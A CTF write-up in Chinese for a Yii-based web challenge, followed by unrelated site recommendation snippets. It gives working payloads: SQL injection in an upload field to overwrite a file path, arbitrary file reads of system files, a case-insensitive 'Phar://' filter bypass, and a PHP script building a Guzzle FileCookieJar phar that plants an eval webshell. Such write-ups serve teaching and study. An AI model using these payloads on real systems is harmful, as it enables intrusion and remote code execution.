[鹏程杯](Web) Yii Framework

Dockefile:

信息搜集:

题目地址:http://58.20.46.148:21333/

  1. 目标使用 Yii 框架开发
  2. 存在登录注册功能
  3. 登录注册以后解锁新的功能:上传文件(upload)、显示文件(show)
    (contact 等其他功能为 Yii 脚手架自带,不需要太过关心)
  4. 上传文件需要比正常的文件上传多提供一个参数 name
  5. 显示文件不需要参数,如果正常上传一张图片则会直接显示这个图片,不需要添加参数,这个功能应该是调用了 php 的文件读取函数。有两点支撑这个观点:
    1. 路径中不需要指定文件名
    2. 用户和用户之间会隔离,浏览器隐身页面访问不到了
  6. 存在 readme.md 提供了表结构,根据文件内容确定数据库为 sqlite3
CREATE TABLE IF NOT EXISTS "users" (
  "id" integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "username" char(1024) NOT NULL,
  "password" char(1024) NOT NULL,
  "filepath" varchar(1024)
);
  1. 上传文件功能多的参数 name 处存在注入,一个单引号即可触发,结合之前得到的表结构,猜想是让用户可以指定一个文件名用来保存,然后在访问 show 路由的时候从用户 session 中拿到 user 身份标识,然后从数据库中查找文件路径,然后读取出来响应给客户端
  2. 上传成功后会显示服务器的一个相对路径
$filepath = '../uploads/'.$_POST['UploadForm[name]'].'.';
$filepath .= pathinfo($_FILES['UploadForm[imageFile]']['name'], PATHINFO_EXTENSION);
echo $filepath;
  1. 猜测服务器会将 $filepath 作为文件名传入读取文件类的函数,如果 $filepath 可以任意控制的话就可以读取 php 文件了,但是题目检测 $_POST['UploadForm[name]'] 中是不是存在 ph,如果存在上传失败。
  2. 一个用户只能有一个 filepath,因此猜测上传功能肯定是一条 update 语句,因此存在"SQL 字段覆盖问题"(不知道这种说法是不是准确,笔者只是不知道如何描述这样的问题,姑且成为“字段覆盖”吧),更新的字段为 filepath,那如果传入多个 filepath 则最终生效的为最后一个,这样应该就可以通过绝对路径读取文件了,但是根据第七步推测到的伪代码,filepath 最后会加上 ‘.’ 和上传文件的扩展名,这里的读取文件好像有点问题,暂时不能读取 php 文件,尝试读取 /etc/apt/sources.list 成功
UploadForm[name]=',filepath='/etc/apt/source
filename=lilac.list
  1. 既然可以多添加一个字段,再添加一个字段不就不用考虑后缀名的问题了
UploadForm[name]=',filepath='/etc/apache2/sites-enabled/000-default.conf',username='lilac
filename=whatever
<VirtualHost *:80>
    ...
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html/You_Cant_Gu3ss/web
    ...
</VirtualHost>
  1. 得到 web 绝对路径并且可以任意文件读取之后就可以对照着 Yii 的脚手架代码来一步步下载源码了
    以下贴出关键代码
➜  controllers cat UsersController.php 
<?php

namespace app\controllers;

use Yii;
use app\models\Users;
use app\models\UsersSearch;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\filters\VerbFilter;
use app\models\UploadForm;
use yii\web\UploadedFile;

/**
 * UsersController implements the CRUD actions for Users model.
 */
class UsersController extends Controller
{

    public function actionFile()
    {
        if (!Yii::$app->session->get('id')) {
            return $this->redirect(['site/index']);
        }
        $model = new UploadForm();

        if (Yii::$app->request->isPost) {
            $model->imageFile = UploadedFile::getInstance($model, 'imageFile');
            $model->name = Yii::$app->request->post('UploadForm')['name'];
            if ($path = $model->upload()) {
                $filename = $path;
                $sql = 'update users set filepath = \''.$filename.'\' where id = '.Yii::$app->session->get('id');
                Yii::$app->db->createCommand($sql)->execute();
                \Yii::$app->getSession()->setFlash('success', "File upload Success! path is ../uploads/".$model->name.'.'.$model->imageFile->extension);
                return $this->render('file', ['model' => $model]);
            }
        }

        return $this->render('file', ['model' => $model]);
    }

    public function actionShow(){
        if (!Yii::$app->session->get('id')) {
            return $this->redirect(['site/index']);
        }
        $model = Users::find()->where(['id'=>Yii::$app->session->get('id')])->one();
        if (!$model->filepath){
            \Yii::$app->getSession()->setFlash('error', "You should upload your image first");
            return $this->redirect(['file']);
        }
        if (substr($model->filepath, 0,7)=='phar://') {
            \Yii::$app->getSession()->setFlash('error', "no phar! ");
            return $this->redirect(['file']);
        }
        $content = @file_get_contents($model->filepath);
        header("Content-Type: image/jpeg;text/html; charset=utf-8");
        echo $content;
        exit;
    }
}
  1. 判断了 filepath 是不是以 phar:// 开头,但是 php 在实现上读取文件的 wrapper name 是可以不区分大小写的
readfile("PHP://FILTER/convert.BASE64-ENCODE/resource=/etc/hostname");
readfile("FILE:///etc/hostname");
  1. 回过头来想想,目前情景很符合对象注入的场景
1. 框架代码(大量 Gadget 可用)
2. 服务器已知文件内容可控
3. 文件读取函数的文件路径参数可控
  1. 根据代码其实也可以反应出来是 Phar 反序列漏洞
  2. 根据提示 guzzle,在 composer.json 中得到 guzzle 的版本,搜索该版本的 Object Injection 即可

关键思路:

vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
存在可控的文件写操作,考虑使用该类反序列化写 shell
  1. 构造 POP 链
  2. 生成以 POP 链为 Metadata 的 Phar 文件
<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$payload = '<?php eval($_REQUEST[1])?>';
$obj = new FileCookieJar('/var/www/html/You_Cant_Gu3ss/web/assets/lilac.php');
$c = new SetCookie([
    'Name' => 'foo',
    'Value' => 'bar',
    'Domain' => $payload,
    'Expires' => time()+0x100,
    'Discard' => false,
]);
$obj->setCookie($c);

$data = serialize($obj);
print_r($data);
file_put_contents("poc.dat", $data);

$phar_filename = "lilac.phar";
@unlink($phar_filename);
$phar = new Phar($phar_filename);
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($obj);
$phar->addFromString("lilac", "lilac");
$phar->stopBuffering();
  1. 上传 Phar 文件
  2. 通过任意文件读取漏洞使用 Phar 协议读取触发反序列化操作写 Webshell
UploadForm[name]=1',filepath='Phar:///var/www/html/You_Cant_Gu3ss/uploads/lilac.jpg/lilac',username='lilac
  1. 反序列化并成功标志为读取到 Phar 文件内容:lilac

坑点:

  • php 序列化数据里面会有 \x00 所以复制的时候会被坑,应该直接写文件里
  • Yii 脚手架的 ${ROOT}/web/assets 目录是可写的
  • 关于如何构造 POP 链请见参考资料中第一条 PDF,近期看到的最棒的 Presentation 了

参考资料:

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,736评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,167评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,442评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,902评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,302评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,573评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,847评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,562评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,260评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,531评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,021评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,367评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,016评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,068评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,827评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,610评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,514评论 2 269

推荐阅读更多精彩内容

  • awesome-php 收集整理一些常用的PHP类库, 资源以及技巧. 以便在工作中迅速的查找所需... 这个列表...
    guanguans阅读 4,334评论 0 34
  • 是什么 如果你知道yum、apt-get、npm、bower等命令中的一种或者多种,那么,你也能很快知道compo...
    旱魃一样阅读 3,077评论 0 9
  • 明道1968讲《黄帝内经》之“四气调神大论篇第二(13)” 接上文: “惟圣人从之,故身无奇病,万物不失,生气不竭...
    明道1968阅读 439评论 3 3
  • 轻风迂回又是叶葳蕤恍若昨日恋一池春水说爱相随甘苦共喜悲冬雷阵阵夏雨雪不悔年少无畏却戏谈离别天地不仁不悯浮萍泪. 明...
    李慧敏_心理咨询师阅读 356评论 1 3
  • 《实习生》是由美国华纳兄弟影片公司发行,由南希·迈耶斯执导的喜剧片。 该片由好莱坞老牌电影明星罗伯特•德尼罗和女星...
    小小夕颜花阅读 1,544评论 3 5